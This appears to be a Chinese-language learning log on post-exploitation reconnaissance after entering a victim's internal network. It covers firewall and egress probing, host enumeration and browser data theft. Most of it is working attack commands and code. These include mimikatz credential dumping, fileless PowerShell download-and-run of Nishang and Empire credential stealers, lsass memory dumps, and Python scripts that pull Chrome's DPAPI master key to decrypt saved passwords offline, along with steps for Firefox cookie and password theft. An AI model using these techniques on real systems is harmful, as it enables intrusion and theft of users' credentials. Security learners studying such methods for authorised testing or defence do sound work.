记录内网渗透学习进程--DAY9
内网渗透之信息收集
总所周知,进入内网后第一件事情就是信息收集,信息收集的⼴度决定渗透过程中可使⽤的招式,信息收集是精细活,需要耐⼼。同样的很多重复的⼯作可以写个小⼯具来代替。除开主动信息收集,还有被动信息收集(嗅探)
1.受害机出⽹探测
断⽹机、脱⽹机说的是⼀些⽆法通过正常的⽅式访问⽹络的机器,何为正常⽅式?即你打开浏览器访问不到⽹络站点,ping不到已知的机器。这些断⽹机也并⾮是真正的断⽹,他们可能是被⾃⾝⽹络的防⽕墙拦截掉了某些协议而不能出⽹。即有可能是该机器⾃⾝的防⽕墙设置了出站规则,也有可能是上层防⽕墙设置了某些机器不给出⽹的规则,还有可能是管理员把⽹关去掉了,导致计算机⽆法把数据传送出去.
①本机防⽕墙规则的获取
netsh advfirewall firewall show rule name=all > 1.txt
就是这个的信息
2.出⽹判断⼏种⽅式
①基于ICMP的出⽹判断
ping公⽹任意域名和任意存活的IP
ping www.baidu.com
如果域名被解析成IP,那就表明DNS协议是可以出公⽹的。
如果是ping不通,如果本机防⽕墙拦截的话,是会“超时”或者是提⽰“⼀般故障”,这个要看防⽕墙怎么配置。
②基于TCP的出⽹判断
给予tcp的出⽹判断就是使⽤⼀些内置的程序去连接远程开放的端口,可使⽤telnet来连接远程端口,如连接⾃⼰vps开放的端口。默认情况下wind 7开始是不⽀持telnet的,需要启⽤该功能
dism/online/Enable-Feature/FeatureName:TelnetClient #启⽤telnet
dism/online/DisableFeature/FeatureName:TelnetClient #禁⽤telnet
telnet<remote-ip>3306
远程机器可⽤nc来监听端口 nc -lvp 3306
linux的话直接远程连接就ok了 nc全名叫ncat
③https://gist.github.com/PrateekKumarSingh/61532b4f48edac1d893b
使⽤powershell脚本在windows机器内判断基于UDP出⽹的情况。
如果不能通过什么办法复制到⽬标机,可以通过echo的⽅式echo上⽬标机。可以先把⽂件编码成base64格式,echo上服务器之后再解码。
使⽤的是系统⾃带的编码⼯具 certutil
certutil-encodetelnet.ps1telnet.txt #base64编码
certutil-decodetelnet.txttelnet.ps1 #base64解码
powershell-execbypass-command"&{import-moduleC:\Users\hacker\Desktop\Test-PortConnectivity.ps1;Test-PortConnectivity'localhost''182.61.182.110'53-Iterate-protocolUDP}
④基于DNS的出⽹判断
通过获取域名的txt记录的值来判断。
1. 先在⾃⼰的控制的域名上添加txt记录。
2. 然后本机执⾏ nslookup-type=txt txt.xxx.xxx
实战渗透我们需要判断是不给访问全部的公⽹还是只能访问受⽬标机构信任的公共⽹络,⽐如能访问google却不能访问你⾃⼰的vps。所以可以先⽤该⽬标国使⽤⼈数多的公⽹进⾏测试,再⽤⾃⼰的VPS做测试。
2.受害机各类基础信息收集息
基础的信息收集很⾮常有必要的,我们后期如果失去了对该机器权限的控制,想要再次拿回机器权限的时候,到时,初次收集到的信息就显得尤为重要了。另外⼀个就是收集好信息回来之后,我们就在本地进⾏信息的提取和分析,不需要再⽬标机器上⾯停留太多的时间,减低被发现的⻛险;在后期与队友进⾏分析的时候也可以快速拿出信息。
显⽰协议统计和当前TCP/IP⽹络连接。
常⽤的:
netstat-anto
netstat-r //路由表
netstat -anto -p tcp //筛选出TCP
netstat-f
路由表
获取到本机路由表信息,可以判断当前机器的⽹络⽹段情况,虽然并不能扩展出很多信息。
route print
netstat -r
⽂件列表
获取全盘⽂件列表的意义在于我们对特定⽂件名的搜索,⽐如搜索各类密码⽂件名、敏感⽂件(名单)、各类程序等⽂件的路径。如果⽬标机器的语⾔是小语种的话,我们可能就要写个小⼯具来获取了,因为涉及到编码字符的问题。
正常的获取的⽅法可以先列举所有盘符,然后再依次列举就可以了
wmic logicaldisk where drivetype=3 get deviceid #获取逻辑磁盘盘符
wmic logicaldisk where drivetype=2 get deviceid #获取移动磁盘盘符
dir /s /a c:\>logc.txt
dir /s /a d:\>logd.txt
文件会比较大,可以压缩之后再发回本地 windows自带压缩命令 makecab
⽤⼾列表
net user
⽅便后期权限掉了再通过⼀些密码碰撞找回
已经开启的服务
net start
可以查看启动的服务,各类防护软件、同⾏的服务启动。
系统变量
set
可以看到管理员设置的⼀些变量,发现管理员经常⽤的东西。
host⽂件
type c:\windows\system32\drivers\etc\hosts
查看管理员是否在host⽂件设置了访问域名
DNS和⼦⽹掩码
通过 ipconfig/all 可以获取dns和⼦⽹掩码,通常的⼦⽹掩码是255.255.255.0,说明是可以直接跟C段通信的,不需要做路由表。dns的话是可以看看⽬标机器⽤的是外⽹的DNS还是⽹关地址
查看有没有远程连过来的session
net session
存活IPC连接
net use
看看是否可以通过已有的连接直接获取内⽹其他机器权限
已经安装的程序 (快捷 但不⼀定完整)
Powershell
powershell "Get -WmiObject -class Win32_Product | Select-Object -Propertyname"
WMIC
wmic /NAMESPACE:"\\root\CIMV2" PATHWin32_Product getname /FORMAT:table
Powershell脚本(完整版)
下载到本地后
powershell -exec bypass -f c:\users\public\ListInstalledPrograms.ps1
⽆⽂件
powershell IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/ListInstalledPrograms/master/ListInstalledPrograms.ps1')
windows系统账⼾明⽂密码
①上传mimikatz到⽬标(不推荐)
只需要把对应⽬标系统版本的 mimiaktz.exe上传到⽬标机上,执⾏:mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswordsfull""exit">>password.txt
②dump内存回来
③Metasploit
④Cobalt Strike
powershell-mimikatz
powershell⽆⽂件下载获取hash
powershell IEX(New-Object System.Net.WebClient).DownloadString('http://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
powershell导⼊本地ps1⽂件
powershell –exec bypass–Command "&{Import-Module 'C:\Get-PassHashes.ps1';Get-PassHashes}"
受害机Google Chrome浏览器信息收集
浏览器存放着⾮常多有价值的信息,包括浏览记录、存放的密码、书签。而Google Chrome可谓是桌⾯浏览器界的巨头。
浏览器信息提取
chrome书签
Chrome的存放书签的⽂件名是:Bookmarks
该⽂件存于浏览器⽬录的 \UserData\Default\,全路径位于 %appdata%\..\local\Google\chrome\User Data\Default\
渗透信息收集时把⽂件复制到其他⽬录
copy %appdata%\..\local\Google\chrome\User Data\Default\Bookmarks c:\windows\tmp\Bookmark
chrome浏览器浏览记录
浏览记录是存放在 History⽂件中,全路径:%appdata%\..\local\Google\chrome\User Data\Default\History
copy %appdata%\..\local\Google\chrome\UserData\Default\History c:\windows\temp\History
chrome浏览器保存的密码【低于80.0】
在chrome的安装路径下通过文件夹可以查看版本
保存的⽂件路径为:%appdata%\..\local\Google\chrome\User Data\Default\Logindata,使⽤notepad++打开后,根据⽂件头显⽰的 SQLiteformat判断这个⽂件的SQLite数据库格式的,需要⽤特定的软件打开,此处可⽤sqlitestudio来打开
在把文件丢入sqlitestudio时,要把他放进左侧的栏里,接着点击选项即可查看
这⼀串是加密过后的密⽂程,然后使⽤相关函数解密就可以了,就跟base64加密解密差不多,差的是浏览器加密会⽤到windows⽤⼾登录后的凭据,所以没有凭据是⽆法解密的。具体涉及到的函数
是 CryptProtectData
这意味单纯把这个⽂件传回本地解密是没有⽤的,所以我们⼀般是利⽤python写好脚本,然后打包成exe上传到⽬标机器执⾏来获取浏览器的明⽂密码的
Powershell版
https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Get-ChromeDump.ps1
需要⽬标关闭浏览器,可修改脚本为先复制再获取明⽂。
⽂件落地
powershell执⾏:powershel l–exec bypass –Command "& {Import-Module 'C:\Users\Hacker\Desktop\Get-ChromeDump.ps1';Get-ChromeDump -OutFile "chromepwds.txt"}
无文件落地
powershell IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Get-ChromeDump.ps1');Get-ChromeDump -OutFile chromepwds.txt //经测试被杀了,先放着
chrome浏览器保存的密码【从v80.0开始】
https://github.com/agentzex/chrome_v80_password_grabber //但是我的谷歌是v89的,好像用不了,出不来密码
MSF获取
1、通过后渗透模块获取浏览器历史记录
run post/windows/gather/forensics/browser_history
2、打开拷贝到本地的文件
/root/.msf4/local/aiyou_Firefox_wqsz7fg5.default-release_places.sqlite
3、通过执行SQL获取浏览过的历史记录
SELECT url FROM moz_places
离线获取Google Chrome浏览器保存的密码
当我们的的⼯具⽆法免杀的时候,就选择把⽂件拖回来吧,但要配合其他的东西来获取明⽂密码。
先了解⼀下DPAPI和Master Key
DPAPI 英⽂全称:Data Protection API ,顾名思义就是⽤来保护数据的接口。这个接口在windows中⼤量的使⽤来加密数据,⽐如chrome的cookies和login data
1.DPAPI 使⽤了叫做Master Key的东西,⽤来解密和加密。Master Key 并不会存在在磁盘上,是通过⽤⼾的密码HASH加密⽣成。
2.MasterKey的第⼀种实现⽅式⽤⽤⼾NTLM Hash来加密。由于NTLM Hash在Windows中有着各种重要的作⽤,而且NTLM Hash是存储在SAM⽂件中,只要攻击者获取到Hash就可以⽤来⽣成Master Key来解密数据了。所以为了防⽌这样的事,就有了第⼆种:直接⽤⽤⼾密码⽣成,函数:SHA-1(UTF16LE(user_password))。就算攻击者获取到NTLM,如果不能解密出⽤⼾的密码就不能⽣成Master Key。
3.⽂章中还提到了ARSO和TBAL 。ARSO 英⽂全称:Automatic Restart Sign-On 。TBAL ⽂中作者猜测AL是Auto Logon,不清楚TB什么意思。但是有⼈猜测是Trusted Boot Auto Logon。都是在WIndows 8和
Windows 10中才添加的新特性,就是保存了⽤⼾会话,恢复到重启之前的状态,也就是在重启之前密码都保存在磁盘中,具体可以看看⽂章的详细说明.
离线获取密码【低于v80】
1.获取⽬标内存 procdump
2.获取 logindata的密码密⽂内容保存在txt内
from os import getenv
import sqlite3
import binascii
conn=sqlite3.connect("Login Data")
cursor=conn.cursor()
cursor.execute('SELECT action_url,username_value,password_value FROM logins')
for result in cursor.fetchall():
print (binascii.b2a_hex(result[2]))
f=open('test.txt','wb')
f.write(result[2])
f.close()
3.把dump回来的内存⽤mimikatz解析
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi
4.直接解密密⽂
dpapi::blob /in:test.txt
5.解码成明⽂
去掉密文的空格,然后去⼀些在线的⽹站解密 https://tool.lu/hexstr/
离线获取密码【从v80始】
根据已有的在线解密python代码来搞的。
关键点在于MasterKey的获取,在线脚本的代码是直接从内存获取,剩下的就是利⽤MasterKey来解密了,所以我们只要从⽬标提取到MasterKey,然后下载回本地,加载进原来的代码运⾏就可以了。
提取MasterKey并写⼊txt
import win32crypt
import os
import json
import base64
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\UserData\LocalState',"r") as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key_w_Cry = master_key[5:]
master_key=win32crypt.CryptUnprotectData(master_key_w_Cry,None,None,None,0)[1]
print(master_key)
with open("masterkey.txt",'wb') as msf:
msf.write(master_key)
加载masterkey解密密码密⽂
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
def get_master_key():
with open("masterkey.txt",'rb') as msf:
buf = msf.read()
print(buf)
return buf
def decrypt_payload(cipher,payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key,iv):
return AES.new(aes_key,AES.MODE_GCM,iv)
def decrypt_password(buff,master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key,iv)
decrypted_pass = decrypt_payload(cipher,payload)
decrypted_pass = decrypted_pass[:-16].decode() #removesuffixbytes
return decrypted_pass
except Exception as e:
#print("Probably saved password from Chrome version older than v80\n")
#print(str(e))
return"Chrome<80"
if__name__ == '__main__':
master_key = get_master_key()
conn = sqlite3.connect("LoginData")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url,username_value,password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
print(encrypted_password)
decrypted_password = decrypt_password(encrypted_password,master_key)
print("URL:" + url + "\nUser Name:" + username+"\nPassword:" + decrypted_password + "\n"+ "*" * 50 + "\n")
except Exception as e:
print('error')
pass
cursor.close()
conn.close()
try:
os.remove("Loginvault.db")
except Exception as e:
pass
获取Firefox历史记录
记录存储在 places.sqlite数据库⽂件的 moz_places表内,⽬录默认是: C:\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\<profilefolder>,可⽤命令寻找
dir %APPDATA%\Mozilla\Firefox\Profiles\*places.sqlite /s /b
由于该⽂件是sqlite数据库,所以直接使⽤ SQLiteStudio打开就ok
可⽤代码:
运行结果:
获取firefox的cookie
cookie记录在 cookie.sqlite数据库⽂件的moz_cookies表内,⽬录默认是: C:\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\<profilefolder>,可⽤命令寻找 dir %APPDATA%\Mozilla\Firefox\Profiles\*cookies.sqlite /s /b
可用代码:
运行结果:
获取fifirefox保存的密码【离线-正常情况】
dir %APPDATA%\Mozilla\Firefox\Profiles\*logins.json /s /b
dir %APPDATA%\Mozilla\Firefox\Profiles\*key4.db /s /b
例如把这两个⽂件复制回来到我们⾃⼰机器的 c:\users\87\desktop\后执⾏
python3 firepwd.py -d c:\users\hacker\desktop //如果有masterkey 就 -p 加上密码